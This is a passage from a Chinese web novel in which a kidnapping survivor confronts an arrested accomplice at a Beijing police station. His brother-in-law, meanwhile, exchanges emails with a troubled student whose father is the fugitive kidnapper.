“商惊鸿有消息了。” “真的?你等等,我让我姐夫来听——”说着他赶紧拿着大哥大,往吴旭东耳朵上贴。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >吴旭东正蹲在卫生间给小阿澈冲洗粑粑,便保持着别扭的姿势,聊了起来。 “表哥,怎么说?” “商惊鸿化名金红,在北京被捕了。那边的警察说,她把能招的都招了,你看看要不要亲自过去一趟。不过黑胡子还没有消息,应该是躲起来了。” “可是子琰坐月子呢,我现在抽不开身。” “别孩子气,你是当事人,需要你到场指证。你必须去一趟,坐飞机,一两天的时间,不耽误的。” “好,我跟子琰商量一下。” “商量好了跟我说一声,我跟那边约时间。” “谢谢哥。” “不客气,我最近没空回去,帮我跟子琰说声抱歉。” “没事,表姐来看过子琰了,你的红包她也帮忙给了。” “那还是不一样的,等我忙完手里的案子回去看看她和孩子。你当爸爸了,凡事记得冷静一点,见到商惊鸿别激动。免得耽误警察办案。” “知道了哥,我有数。” “正阳在吗?” “刚去药店了,中午会来。” “跟他说一声,目前警方结合黑胡子的活动轨迹,推测当年打晕正阳的应该也是黑胡子。如果他方便的话,最好跟你一起过来一下,警方手里有照片。” “可是当年的事情他全忘了,能行吗?” “有一种唤醒回忆的方式就是刺激疗法,如果真是黑胡子做的,看到照片,说不定他能想起来的。总之,你们兄弟俩最好一起去。手里的事情都推了吧。” “知道了哥,谢谢你。” “客气什么。就这样。” 吴旭东赶紧给孩子擦擦干净,换上新的尿布,去卧室找周子琰。 “正则大哥让我去趟北京,商惊鸿被捕了。”他把孩子交给周子琰喂奶。 周子琰赶紧把孩子接过来:“那黑胡子抓到了吗?” 吴旭东摇头:“躲起来了。” 周子琰单手托着孩子,腾出一只手握住他的手:“别急,早晚会落网的。” “嗯,我今天就过去吧,尽量明天就回来。”吴旭东看看时间,这会儿还没到午饭时间,应该来得及。 周子琰真想陪他一起去。 时隔多年,再次看到拐卖自己的疑似帮凶,她不敢想象小东会有多么失控多么崩溃。 这么关键的时候,她不在他身边,她会很不安。 可是她在坐月子,没办法。 只能拜托她爸爸一起过去。 所以吴旭东出去打电话查询机票的时候,周子琰把周子琛喊到了房间来。 “让爸回来,我需要他。” “还用你说,我刚给爸打过电话了,他马上回来。” “子琛,你什么时候变得这么体贴了?” “废话,你是我姐,他是我姐夫,他的事就是你的事,你的事不就是我的事?”周子琛翻白眼,他什么时候不体贴了,切。 周子琰笑了:“好好好,我弟弟最好了。” “别,我可没你家小东好。我就没见过你也把他过肩摔一下。”周子琛酸溜溜的,姐姐偏心,哼。 周子琰哭笑不得:“我又没有真的把你摔着。” “你少来,都是咱爸不好,教坏了你。”周子琛出去了,“你等着,回头我欺负你家阿澈。” “你才舍不得。”周子琰不上当。 周子琛站在门口叹气:“我总有种不好的预感,等我以后结婚了,你家阿澈就是我孩子的姐姐。我可提醒你啊,要是你家阿澈欺负我孩子,我可是会闹的。” “你可得了吧,女朋友还不知道在哪儿呢。”周子琰怀疑这小子要打一辈子光棍儿了。 整天窝在家里不见人,上哪儿找老婆去。 周子琛不置可否,转身回了卧室,继续睡觉。 刚躺下,电脑响了。 一封邮件跳了出来。 点开一看,是最近跟他聊得火热的网友。 虽然不知道对方叫什么,但是直觉告诉他,这么心思细腻多愁善感的,一定是个女孩子。 对方网名叫“长嬴”,是夏季的别称。 一看就很有文化,很对他胃口。 所以他把自己的网名改成了“玄英”,冬天的意思。 对方问他最近怎么样。 他赶紧坐在电脑桌前,敲击键盘—— 【玄英】:长嬴,你好。我当舅舅了,很开心,但又很惆怅。小时候我姐总是欺负我,现在我姐也生了个女儿,将来肯定会欺负我的孩子,想想就郁闷。 很快,对面回了邮件—— 【长嬴】:玄英,你好。你可以生个儿子,长大了欺负回去。 【玄英】:这可不行,男孩子是不可以欺负女孩子的。 【长嬴】:你太善良了,我就不会。 【玄英】:你不会不欺负女孩子,还是你不会善良? 如果是前者,那可能暗示对方是个男孩子。 周子琛有点惆怅,如果真是那样,那就太遗憾了。 对面很快回道—— 【长嬴】:不会善良。 【玄英】:为什么? 【长嬴】:你相信歹竹出好笋吗? 【玄英】:信啊。 【长嬴】:你要是知道我爸是什么人,你就不会这么说了。我时常为我的出生感到羞耻,感到罪恶。我有时候甚至想杀了我爸,可惜我不够胆,又担心我妈会受不了这个打击。只能一次次冷眼旁观,看着他伤害别人,伤害我妈,伤害所有善良的无辜的人。以人为镜,可以明得失。我不会学我妈,不会学习那些受害者,所以我绝对不会善良。所以,你还相信歹竹会出好笋吗? 【玄英】:信。你就是好笋,要不然,你不会这么痛苦。如果我是你,我会找警察报案,让法律结束这一切痛苦。 【长嬴】:大义灭亲?我不是没有考虑过。可是我爸做的那些事,一旦曝光,我就会成为罪犯的孩子,我不能考公务员,不能选择任何体面的工作,甚至还会害了我未来的孩子。所以我再次问你,你还相信歹竹出好笋吗? 【玄英】:……你爸到底做了什么? 【长嬴】:别问了,我不想说。 聊天到此结束。 接下来周子琛不管发什么,对面都不再回应。 周子琛总觉得怪怪的。 赶紧给他二姐打了个电话:“姐,怎么查邮件的ip?你找个学计算机的教教我。” 同一时间,正在被黑胡子纠缠要钱的女人,被黑胡子拉拉扯扯的,拽到了门面房的二楼。 一个二十出头的女大学生放下手里的鼠标,满含怒气的站了起来。 72. 乖宝(二更) 秋瑶随妈,长得出水芙蓉,异常动人。 加上她身量纤纤,柔弱无骨,是很多同学心中的爱慕对象。 校花的桂冠一戴就摘不下来了,蝉联至今。 前年她又考上了名牌大学,简直就是天之骄女。 可是她过得不幸福。 她的后爸做了个煤老板,家里很有钱,还给她配了电脑,方便她学习累了娱乐娱乐,可那毕竟不是她的亲爸爸。 她是她妈妈带过来的拖油瓶,爷爷奶奶怎么看她都不顺眼。 无奈,她只好拼命的学习,考个好大学,让他们不敢小瞧了她,也让后爸的几个亲生孩子,对她可以客气一点。 没办法,谁让她有个龌龊的亲爸呢。 面前这个奇丑无比,令人恶心的脏东西,就是她生物学上的爸爸。 在她妈妈下夜班回来的路上强迫了她妈妈,害她妈妈只能未婚生女。 真是个禽兽不如的人渣。 每次他过来要钱,她都恨不得拿刀捅死他算了。 可是她不敢。 她不想为了这种禽兽,毁了自己一辈子的前途。 只能眼不见为净,转身出去了。 好在这几天国庆放假,弟弟妹妹都出去玩了,这会儿家里只有她和妈妈在。 她家楼下是个门面房,开了个杂货店,这会儿正好有人来买东西,她便赶紧帮忙去了。 买东西的婶子是街对面的邻居,听到楼上的哭喊声,早已习以为常。 忍不住多嘴了两句:“瑶瑶,你该劝劝你妈了,这些年不断拿你爸爸的钱贴补那个男人,像什么哦。早几年还差点闹到离婚,就不能跟那个狗东西一刀两断吗?” 秋瑶脸上火辣辣的,没有办法接话。 她知道,周围邻居都瞧不起她,都知道她是个强.奸犯的女儿。 就连她的喜欢的那个男生,也因为他妈妈听说了她家的事情,阻止他跟她来往。 她在这里生活,就像是随时随地背负着耻辱柱,寸步难行。 只能报考了东南沿海的大学,远走高飞。 这次国庆放假她本来不想回来的,可她太想妈妈了。 没想到一回来就…… 她很难受,找了零钱,一言不发转过身去。 好心的婶子叹气道:“造孽哦。” 是啊,造孽,可是她能怎么办呢? 很快,那畜生走了。 秋瑶冲上楼去看了眼,三门橱被扒拉得乱七八糟。 她妈妈存钱的木头箱子直接被砸了。 里面的现金都被拿走了。 秋瑶平静的走过去,帮忙收拾:“我爸要是知道了,又要跟你闹离婚了吧?” “不会,他在外面养了小的,已经不过问我的事了。好在他每个月都会按时打两万回来家用,我已经知足了。”女人挨了打,血糊拉拉的脸庞上糊了一缕头发,如此狼狈,却依然可以看到曾经风华绝代的痕迹。 也许妈妈丑点就不会遭遇这样的灾难了。 秋瑶默默叹了口气,赶紧去找碘伏和纱布。 处理完伤口,继续收拾。 等到身后的楼梯传来脚步声,她才知道她妈妈出去了。 她像是忽然被人抽走了脊梁,瞬间瘫坐在了地上。 痛苦,绝望,耻辱…… 连她都这么煎熬,不敢想象,她妈妈这些年是怎么过来的。 好在后爸虽然变心了,起码还是顾家的。 从没短过她的那一口饭,生活费也是每个月单独给她。 对她已经算是仁至义尽了。 她不该埋怨什么。 可她还是难受。 为什么?为什么那么好的爸爸,不是她自己的? 为什么那么好的爸爸,只能是弟弟妹妹的? 从小到大,每次看到弟弟妹妹跟爸爸撒娇,她就难受得几乎背过气去。 她无数次质问自己妈妈,为什么要把她生下来。 每次得到的都是沉默。 小时候她不懂,怨恨过,闹腾过,现在长大了,上了大学,陪着大学室友打过一次胎,她终于懂了。 她妈妈是不想打掉头一个孩子,以防以后习惯性流产,再也怀不上孩子了。 可是…… 可是这样又有什么意义呢? 她是强.奸犯的女儿。 不光如此,那个狗东西,还祸害了另外几个可怜的女人。 好在那几个阿姨没有她妈妈倒霉,一次就怀上了。 以前她不懂,为什么她妈妈不去报警。 现在她懂了,妈妈不想毁了她的前途。 现如今,她已经是个有完全行为能力的成年人,却默许了这样的闹剧一次次上演。 默许了这样的伤害一次次重复。 为的就是一个留校的机会。 一个强.奸犯的女儿,是没有资格做教师的。 她不敢赌。 她就像是亲自拿起一把锤子,准备好锋利细长的铁钉,把她和她妈妈一起装订在了一个精心伪装的活死人墓里。 黑胡子每来一次,她们母女的葬礼就要重复一次。 真可悲。 收拾完,她像是一具行尸,坐在了电脑面前。 【长嬴】:我有时候会想,死亡会不会是一种全新的开始? 【玄英】:出什么事了?跟我说说,我帮你想办法。 【长嬴】:不想说。我只想拜托你,如果哪天我真的死了,希望你还能记得我这个朋友。 【玄英】:是为了长辈的事吗? 【长嬴】:别问了。 【玄英】:你在哪儿,要不我去找你,或者你来找我。我家这边风景不错,推开窗就能看到远处的大海。昨天下午我趴在阳台吃薯条的时候,被一个调皮的海鸥飞过来抢走了,害我一整包薯条全撒了,你说气不气。 【长嬴】:真的假的?海鸥还会抢薯条吃? 【玄英】:真的,我爸亲自给我炸的薯条。 【长嬴】:真好,你爸很疼你。真羡慕你。 【玄英】:你爸爸对你不好吗? 【长嬴】:别问了!你好烦,怎么总是对我的家庭情况那么好奇?都说了,别问了别问了,还问!有完没完啊! 【玄英】:……你好凶啊,我只是好意。 【长嬴】:不要你管,神经病。 秋瑶直接关了电脑,结束了对话。 网线那头的周子琛,则反复阅读这几段对话,陷入了沉思。 很快,安小蕾的电话打了过来,介绍了一个计算机专业的朋友,教他怎么查IP。 周子琛学的是文科,听了半天陌生的专业名词,一脑子浆糊。 只得出了卧室,把大哥大交给了吴旭东:“姐夫,帮我。我怕我朋友自杀!快!” 吴旭东正在收拾行李,赶紧过来问了问怎么回事。 很快,他在对方的指导下查清楚了那个【长嬴】的IP。 “山西大同的。”虽然不在京昆铁路线上,但是距离京昆铁路的必经之路太原只有二百多公里。 而山西,是对黑胡子发布过通缉令的的省份。 吴旭东看到这个IP,不由自主的就想到了黑胡子身上。 感慨道:“居然是山西的,也不知道黑胡子最近有没有去过山西。” “你跟正阳大哥赶紧去北京问问那个商惊鸿,说不定她知道些什么。”周子琛关心自己姐姐,自然也会爱屋及乌,关心一下姐夫被拐卖的案子。 吴旭东点点头:“这就去了。你这个网友好像情绪不太稳定,你悠着点,别太投入。” 周子琛知道他不是故意偷看自己邮件的,只是查IP的时候不可避免的瞄了一眼。 不禁老脸一红:“在BBS讨论小说剧情的时候认识的,只是随便聊聊。” “要我教你怎么查吗?我两个小时后才登机。”吴旭东理解,一个整天窝在家里的作家,也是需要社交圈子的。 跟网友聊聊天没什么不好的。 只是要把握好那个度。 周子琛摇头:“你操作的时候我看到了,我都会了,你去忙你的吧。” “真会了?” “真会了,我好歹也是个大学生,只是刚才没听懂那几个专业名词。” 吴旭东笑笑,他能听懂那些词汇,还得谢谢商春深呢,两人见过几次,商春深每次都会迫不及待的显摆自己的知识储备。 他听了几耳朵,懂一点点皮毛。 打个比方,就好像摆在眼前的是一个巨大的书库,他正好认识手头边上那本书的书名。 仅此而已。 世界这么大,他需要学的东西还有很多很多。 他回到周子琰房间的时候,忍不住看了眼她的书柜。 都是些市面上可以买到的科技类的书籍。 不是通信和信号相关的,就是侦查技术相关的,还有一些侦探小说。 真厉害,他这个老婆,也是个书痴,只怕程度跟安小蕾不相上下。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >他忍不住抱了抱周子琰:“我尽量明天晚上就赶回来,你别忘了每天定点准时给阿澈拍照片。” 他要做一个童年记录的相册,把小阿澈每天的变化都保留下来。 周子琰知道他骨子里是个很长情很浪漫的人,抱着他亲了亲,宽慰道:“去吧阿澈爸爸,阿澈妈妈不会忘记的,这可是三等大事,仅次于喂奶换尿布的。” “琰琰你真好。” “快去收拾吧,收拾完了过来抱抱阿澈。” 吴旭东出去了,再进来的时候,小阿澈正瞪着她那水汪汪的大眼睛,盯着头顶的天花板啊啊啊的不知道在说什么。 那粉雕玉琢的小圆脸,让这个新手爸爸忍不住想要咬一口。 可是不忍心,舍不得。 那粉嘟嘟肉乎乎的小爪爪,像是小猫爪子,一下一下挠在新手爸爸的心尖尖儿上。 让他忍不住想要把心掏出来,给她挠,挠个够。 吴旭东实在受不了这样的可爱攻击,坐在床边,像个二傻子一样,呜呜啊啊的进行父女间的对话。 你啊一声,我啊一句的。 像是加密通话。 周子琰哭笑不得,赶紧拿起自家大哥从国外寄过来的录像机,装上胶卷,给这对幼稚的父女留下珍贵的回忆。 汤正阳进来催吴旭东去机场的时候,看到弟弟这么幼稚,忍不住扶着门框,默默含笑。 真好啊。 真好! 小阿澈一定会是好几家人的宠儿呢。 是她彻底把几家人联系在了一起。 血脉交融。 也是她,给了他们兄弟俩开启人生新篇章的希望和期待。 所以,新生命未必是出于繁殖的本能,也有可能真的是爱的结晶。 不光是爸爸妈妈的爱,也是伯伯姨姨们的爱。 是全家的爱。 汤正阳羡慕得很,没忍住,厚着脸皮跟弟弟抢孩子去了:“给我也抱抱嘛,知道我来,故意馋我,真是的。” “不给。”吴旭东要走了,舍不得,背过身去,躲着自己大哥。 汤正阳被他气笑了:“子琰你管管他,这么小气呢。” “我才不管,有本事你自己要去。”周子琰笑得不行。 这哥俩真逗。 汤正阳无奈,只好凑到小妮妮旁边:“嗨,小阿澈,让伯伯抱抱好不好呀?” “啊!”小可爱虽然还抬不动脖子,但是会扭动小身板。 她循着声音来的方向,看着面前这个高高瘦瘦的伯伯,再次回应:“啊!” 手舞足蹈的,不知道有多可爱。 汤正阳彻底成了俘虏,不由分说,从弟弟怀里把孩子抱了过来,埋怨道:“你爸爸真小气,哦!等阿澈长大了帮伯伯说说他。” “啊!” “哈哈哈,这小家伙,听得懂吗?”汤正阳笑得快看不见眼睛了。 完全无视了一脸哀怨的小老弟。 周子琰笑道:“别管听不听得懂,起码你侄女儿够给你面子了,有问必答。” “那可不,我可是大伯,亲的,对吧小阿澈!” “啊!” “真可爱,大伯想吃小阿澈的爪爪,给不给?” “啊!” “呦,小阿澈这么大方,可是大伯舍不得呀,还是不吃了。大伯要跟爸爸去办事情了,回来给小阿澈带玩具好不好?” “啊!” 哦天哪,这小东西,真是个俘虏人心的高手! 汤正阳直接举白旗投降。 一旁的吴旭东看不下去了,小心翼翼的把孩子抢到怀里,翻了个白眼:“别烦,快点给我和孩子拍张合照,子琰要休息了。” 汤正阳赶紧拿出床头柜上的拍立得:“那走,去阳台,用蓝天白云和大海做背景,好看。” 是真的好看! 汤正阳一口气多拍了几张,又把孩子抢过来,让吴旭东也帮他和孩子拍几张,这才拉上行李走了。 周子琰看着摆在床头的照片,忍不住笑了。 这小家伙,太会哄人开心了。 真是个古灵精怪的小乖宝。 当天晚上九点,兄弟俩和周中擎一起,来到了酒店住下,第二天一早,便赶去了派出所。 “请稍等。”负责案件的警察查了下三人的身份证件,让他们等着,他去把商惊鸿带过来。 吴旭东下意识握紧了拳头。 汤正阳看得出来他的紧张,一把搂住他的肩膀:“别怕,哥陪着你呢。” 73. 恋奔 十九年了。 吴旭东无数次自责,无数次懊恼,竟然因为一块肥肉断送了自己的前半生,太傻了,太痛了。 即便现在的他很幸福,可是过去的种种依旧是一头狰狞的野兽,会在他猝不及防的时候冲出来,试图撕咬他,吞噬他。 他怔怔地看着眼前的女人,那些痛苦的记忆瞬间汹涌而来。 他记得她的这双眼睛,给他肥肉的时候带着一种让人温暖的怜悯的笑。 谁会怀疑一个热心肠的邻家婶子。 更何况妈妈还生病了,家里缺油少米的。 可是谁能想到,接下这块肥肉,跌进的却是万丈深渊。 痛,太痛了。 明明这两年一直在贴膏药,养护他的膝盖,可是此时此刻,那种细碎的啃咬般的痛不知怎的被无限放大,从膝盖蔓延到全身,侵蚀着他的每一根神经,撕扯着他的每一分理智。 他好想杀了这个女人,连着她的男人一起,碎尸万段! 可是他不能。 他结婚了,有了自己心爱的女人,有了软糯可爱的小闺女,他还有那么多亲人。 一时的解恨,带来的只会是亲人无尽的痛苦。 他只能踉跄着后退几步,拉开距离。 直到肩上有股力量,把他勾到了一个温暖的肩头:“小旭,别怕!” 不,他怕。 他怕的不是这个女人和那个男人,他怕他失去理智。 他怕自己亲手摧毁如今的一切。 他还是出去了。 戒掉了一年多的烟瘾,没来由的犯了。 只能痛苦的抱住自己的脑袋,烦躁的搓了搓头发:“有烟吗哥?” “我戒了。”汤正阳很是心疼。 原本他就觉得自己比小旭幸运,毕竟有关曾经的一切,他什么都不记得了。 现在,看到小旭这痛苦不堪的反应,他更加确定了这一点。 所以,赶紧了断这一切吧,小旭才能彻底告别那些糟糕的回忆,一路向着阳光,大步走,不回头。 他拍了拍小旭的肩膀:“实在难受的话,我去给你买一包。” “不用。”吴旭东扯住他,“不能让阿澈吸二手烟。” “那我给你买点薄荷糖醒醒脑子。”汤正阳想了个替代的法子。 吴旭东点点头。 汤正阳赶紧出去了。 回来的时候,却见吴旭东已经不在门口了。 赶紧推开门,一看,果然,这小子,鼓起勇气再次进去了。 他赶紧剥了一块薄荷糖。 吴旭东一直没有说话,只是坐在那里出神,薄荷的清凉将他拉扯回来。 他定定的看了眼身侧的大哥,耳边传来老丈人的安慰:“不舒服的话可以出去缓缓。” “爸,我没事。”吴旭东深吸一口气,看向了对面的女人。 这个女人显然还记得他。 这世上的凡夫俗子太多,偶尔有几个长相脱俗,气质不凡的,当然让人经久难忘。 何况还是…… 商惊鸿别过头去,不肯触碰吴旭东的视线。 好像会烫死她。 呵,这明显是心虚了,吴旭东笃定的想。 警察在旁边沉声问道:“是不是她?” “是她。”吴旭东狠狠咬住薄荷糖,“她给了我一块肥肉,之后我就被人打晕拐走了。” “是照片上这个男人吗?”警察拿出黑胡子的证件照。 奇丑无比的男人,像是女娲造人时累了,随手甩出去一块形状丑陋的泥巴。 尤其是那双眼睛,猥琐,邪恶,带着一种漠视一切的傲慢和张狂。 是个彻头彻尾的魔鬼。 吴旭东需要非常用力,才能压制住躁动的戾气。 深吸一口气,再多的怨恨,再多的不甘,都只能在理智的束缚下,化作一声轻叹:“打晕我的不清楚,拐卖我的是他。” 警察点点头,又问旁边的汤正阳:“你呢?把你打晕扔下山崖的是他吗?” “对不起,我暂时想不起来。”汤正阳尽力了。 刺激疗法也不是一定有用的。 可能需要身临其境,再加上这个人在场才行。 而现在,他在绝对安全的环境里,脑海中死寂的那片区域,掀不起任何的浪花。 警察问完了:“请你们跟我来签字。” 一旁的周中擎忽然开口:“等等,我见过这个人。” “时间,地点。”警察重新坐下,拿出笔录本。 周中擎仔细回忆了一下:“三年前,山西大同。我有个战友在那边做房地产,让我帮他考察一下选哪块地合适。正好有个男人猥亵妇女,我们俩一起帮忙,救下了那个妇女。你可以找大同警方核实一下,就是这个男人。他的名字叫潘学宝,不过那边的警察后来证实,这是假名,真实信息有待进一步确定。” “是假名,我们这边查到的情况是,他的名字叫包盼富。外地警方那边查到的名字也各不相同,所以没办法锁定他的真实身份。”警察非常头疼,这个男人太狡猾了。 每到一个地方,就有一个甚至数个假身份。 比商惊鸿还离谱。 众人齐齐看向这个沉默的女人。 警察正色道:“再给你最后一次机会,请你配合警方,争取宽大处理。” 商惊鸿低着头,不肯与人有任何的视线接触。 警察问道:“再问你最后一次,你男人叫什么名字?” “如果我配合你们,可以给我儿子减刑吗?”都到这个时候了,商惊鸿想的还是她儿子。 警察面无表情的看着她:“请你不要挑衅法律。如果你配合警察办案,减轻的只能是你自己的刑期。你儿子是你儿子,只有他自己有立功表现,才能争取宽大处理。请你回答我的问题!” “我不知道,我年纪大了,我老年痴呆,我男人死了,我不记得他叫什么,也不记得他去哪儿了。”商惊鸿破罐子破摔。 接下来不管警察再问什么,她都闭口不言。 警察无奈,只好先出去了。 “你们别急,我们会请专门的审讯专家过来帮忙,尽快搞定黑胡子的真实身份。”警察宽慰了几句,“你们可以回去等消息,时刻保持座机不欠费,有情况我们会第一时间联系你们。” 吴旭东客气地点点头:“谢谢警察同志,辛苦了。” 周中擎则提醒道:“记得联系大同警方,这个男人因为别的案子进去过。” “放心吧,我们会走流程,尽快跟那边取得联系。”警察也不好做时间上的保证,毕竟这是跨省办案了,手续挺复杂的。 周中擎明白,客气的握握手,带着女婿和准女婿离去。 飞机上,吴旭东一言不发,闭着眼睛小憩。 汤正阳一直搂着他的肩膀,怕他心里难受,就这么默默的拍打着,像是在哄三岁小孩睡觉。 很轻,很暖,很有规律。 以至于他快睡着的时候,吴旭东立马察觉到了动作放缓的迹象,瞬间睁开了眼睛。 大哥睡着了,有没有做梦,有没有想起点什么? 他不知道。 他侧脸看了看肩上的那只手,默默的勾起了嘴唇。 想不起来也好,起码大哥不会像他这么痛苦。 这何尝不是一种慈悲。 一种抵御伤害的慈悲。 汤正阳确实做梦了。 但是一个奇怪的梦。 梦里他和安小蕾结婚了。 生了一个可爱的儿子。 然而他在产房门口抱孩子的时候,有个穿着白大褂的男人冲了过来,抢走了他的孩子。 他赶紧去追。 等他好不容易摁住那个白大褂,把孩子抢过来的时候,掀开襁褓一看,怀里的居然是个人偶。 他的孩子呢? 被人调包了? 孩子呢? 孩子! 还他的孩子! 他急死了,在医院里不断的寻找,不断的呼喊,却一无所获。 他痛苦不堪,不敢面对产房里出来的安小蕾,只能去找警察帮忙…… 他是被飞机落地时的颠簸颠醒的。 耳边是引擎进入慢车状态后逐渐减弱的轰鸣。 身边是一脸担心的弟弟和准岳父。 他的左手被弟弟握住了,右肩上搭着准岳父的手。 “大哥,你怎么了?” “正阳,你怎么了?” 翁婿两个齐齐发问。 汤正阳擦了把汗,却什么也说不出来。 他怎么会做这样的梦? 他从来没有做过这样的梦。 难道是老天提醒他,他被调包的事情,跟黑胡子也有关系? 他怔怔的看着面前的翁婿两个,犹豫很久,才开口道:“咱们回来得太着急了。” “怎么?” “应该去见见吴家栋的。”汤正阳还是觉得,突破口不见得在大同那边,而是在北京这边。 既然黑胡子会用假身份,那么即便他在大同被抓过,只要出来后换个身份,依旧可以逍遥法外。 吴旭东沉思片刻,道:“你不是跟他的姐姐姐夫有过接触吗?怎么说?” “目前只得到了两个有用的信息。第一就是吴家栋私生活不检点,十六岁的时候跟一个大他十岁的女人好上了,被家里知道后强行拆散。至于两人有没有闹出过孩子,目前不清楚。第二就是,吴家栋婚后依旧沾花惹草,闹出过人命。当然,不是杀人的意思,是打胎。不过……按照时间来算,就算打胎的那个实际上生了下来,那跟我的岁数也对不上。所以重点怀疑的应该是他十六岁的那场闹剧。至于那个女人是谁,目前还不清楚。”汤正阳尽力了,他的生意很大,需要全国跑,在北京待的时间不多,很难长期的有效的盯着那群人。 吴旭东沉思片刻:“有没有想过从谈家这边的亲眷入手?吴燕西跟咱俩长得那么像,如果只是父系血缘的关系,应该没有这么神奇。” “这点我也考虑过了,不过谈家目前愿意跟我接触的亲眷只有小姨。”汤正阳无奈,“其他的,从十九年前爸妈出事开始,基本上就不来往了。偶尔有一两个理我的,也给不了什么有用的信息。” “可能是为了避祸,为了不让咱爸找他们借钱,也可能是因为心虚。”吴旭东提议,“不管怎么说,只要弄清楚谈家有没有女性亲眷大吴家栋十岁,生活轨迹有没有跟吴家栋重叠的部分,基本上就可以锁定她是谁了。” “那得问问你们小姨。”周中擎起身,“先下飞机,回家再说。” * 周子琛一整晚没睡。 一直盯着电脑,盯着他发出去的电子邮件。 他不想看到长嬴自杀。 如果上午九点再没有回应,他就拨打大同那边的报警电话。 110加上大同的区号就行。 他真的不想看到一个年轻的生命就这样陨落。 即便她是罪犯的女儿。 他会努力劝她,大义灭亲,甩掉身上的包袱,好好做自己。 如果她实在听不进去,那他也只好跟她绝交了。 因为知情不报跟帮凶没有区别。 他不允许自己跟一个帮凶做朋友。 正磕头捣蒜,邮件来了。 【长嬴】:昨晚喝了点酒,酒壮怂人胆,我就拿起美术刀,划拉了一下自己的手腕,结果你猜怎么着? 【玄英】:你真的自杀了?你没事吧? 【长嬴】:不,正确的说法,叫尝试自杀。 【玄英】:……一样的,你没事吧? 【长嬴】:有事的话怎么给你发邮件?我有时候觉得你挺傻的。不过我更傻,我以为我会无惧生死,结果刀子真的割破皮肤的时候,我怂了。笑死了,就芝麻大的一点点小伤口,我就退缩了。包了创口贴,一晚上就结疤了。你看我,注定是个祸害,好人才会不长命。 【玄英】:你没事就好,我还是劝你,既然这么痛苦,不如去报案。我知道你担心什么,可是你这样下去,不断折磨自己,就算得到了想要的工作,你也开心不起来的。再说了,这世上并不只有吃公家饭这一条路。做做买卖啊,自己开开厂子啊,怎么着不是生路?没必要为了一个人渣让自己一辈子背着枷锁,小心翼翼的生活。 【长嬴】:你一定过得很幸福,因为只有这样的人才会 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 沉迷于说教。何不食肉糜?做买卖不需要启动资金吗?开厂子不需要买厂房买设备吗?钱从哪里来,天上下钱吗?跟你说话怎么这么累呢?富贵锦绣堆里的公子哥,请你睁开你的眼睛,看看底层的劳苦大众吧,我谢谢你了。 【玄英】:我可以借钱给你啊,我有钱。但你必须大义灭亲,我不接受帮凶做我的朋友。你要知道,你的知情不报,会让其他人陷入痛苦。你是在默许你爸爸继续犯罪,继续伤害别人,伤害你和你的其他亲人。相信我,彻底跟他划清界限的办法,就是送他去坐牢。再说你都大三了,很快就可以毕业了,可以自食其力的。 【长嬴】:呵,别吹牛了,你有多少存款? 【玄英】:一两百万还是有的。 【长嬴】:……你爸妈给的吧?你不是说你大学刚毕业一年? 【玄英】:我自己挣的啊。 【长嬴】:我不信。 【玄英】:你在追的那本小说,是我写的。还有同系列的其他五本,都是我的作品,这下信了吗? 【长嬴】:你少来了,真要是你写的,你身上怎么看不到一丁点男主角洒脱率性的影子?反倒是整天说教,不可理喻。你就是想骗我去见你,骗我跟你谈恋爱,骗我跟你未婚生子。你们狗男人都是这样的,我才不会上当呢! 【玄英】:你这么说我我很伤心。有没有一种可能,一部作品的男女主角,他们身上的优秀品质,只是寄托了作者的一些美好的期待?也许作者自己做不到,所以才会让男女主角去实现?建议你客观看待作者和他笔下的人物。只要作者赞扬那些优秀的品质,就算他自己做不到,起码他知道那样才是对的。那你就不该否定那个作者。 【长嬴】:没完没了是吧? 【玄英】:你真的不信我?那你等着,我去找相机,给你看看我的出版合同。 周子琛赶紧去找合同,又是拍照又是扫描的。 幸亏他有个全世界到处飞的大哥,给他备齐了国外最先进的设备。 扫描结束,他把照片压缩后添加到邮件里面,发给了对面。 【玄英】:这下相信了吧? 【长嬴】:……信了。 【玄英】:去报案吧,你想创业的话我帮你。 【长嬴】:好。 秋瑶双手离开键盘,却迟迟没有进一步的动作。 她才不会去报案。 报了案,她在家里就彻底抬不起头了。 她会彻底沦为弟弟妹妹的陪衬。 也会成为所有人耻笑的对象。 反正隔着网线,对方也不知道她到底报案了没有。 她起身收拾行李。 她妈妈上来,催促道:“瑶瑶,都开学了,你怎么还不走啊。快点的,别被学校处分了。” “没事的妈,一天而已,没那么严重。再说了,我坐飞机回去,明天就能上课。”秋瑶笑笑,前所未有的轻松起来。 这个作者的真名叫周子琛,琛是珍宝的意思。 这大概就是老天送给她的珍宝。 她得去见见他。 等她妈妈下楼,她赶紧回到电脑桌前。 【长嬴】:见个面吗? 【玄英】:你不是大三了吗?不去学校了? 【长嬴】:你不是住海边吗?可能离得不远。 【玄英】:你学校在哪儿? 【长嬴】:广州。 【玄英】:那确实不远。 【长嬴】:那我去找你。 【玄英】:慢着,你报案了吗? 【长嬴】:报了呀。我把我知道的都告诉警察了,不过警察说目前找不到我爸在哪儿,要等其他线索。再说了,我又没有证据,警察肯定要进一步核实啊。 【玄英】:那就好。真为你感到骄傲。 【长嬴】:我棒吧,是不是跟你笔下的女主角一样勇敢? 【玄英】:是的,你很棒,期待跟你见面。 【长嬴】:地址发给我。 【玄英】:这不太好吧,我不想让我爸妈知道,咱们还只是网友。 【长嬴】:想什么呢,我说见面的地址。 【玄英】:哦,好。那你到我这的图书馆吧,门口有咖啡馆,正好看书累了可以去喝点咖啡聊聊天。 【长嬴】:好,晚上见。 【玄英】:晚上见。 周子琛咬紧了嘴唇,发送完最后一封邮件后,默默松了口气。 太好了,他拯救了一个苦海里挣扎的可怜女人。 不,不止一个,还有被长嬴的爸爸伤害的其他人。 他心情很好,吹着口哨哼着小调,去姐姐房间看看小阿澈。 周子琰见他顶着黑眼圈却精神抖擞的,总觉得怪怪的。 问道:“你谈恋爱了?” “没有啊。”周子琛下意识否认。 周子琰眯眼打量着他,很快喊道:“妈,过来一下,你儿子恋爱了。” 周子琛急了:“不是吧姐,你冤枉我,我真没有。” “那你这一脸桃花的嘚瑟样?”周子琰不信。 两人从小一起长大,她还能不知道他? 周子琛得意道:“我只是帮助了一个被原生家庭迫害的可怜女学生。我厉害吧?” “我不信,你这么懒,会有这闲心?”周子琰撇撇嘴。 周子琛急了,坐在床前,如此这般的解释了一番。 周子琰沉默了。 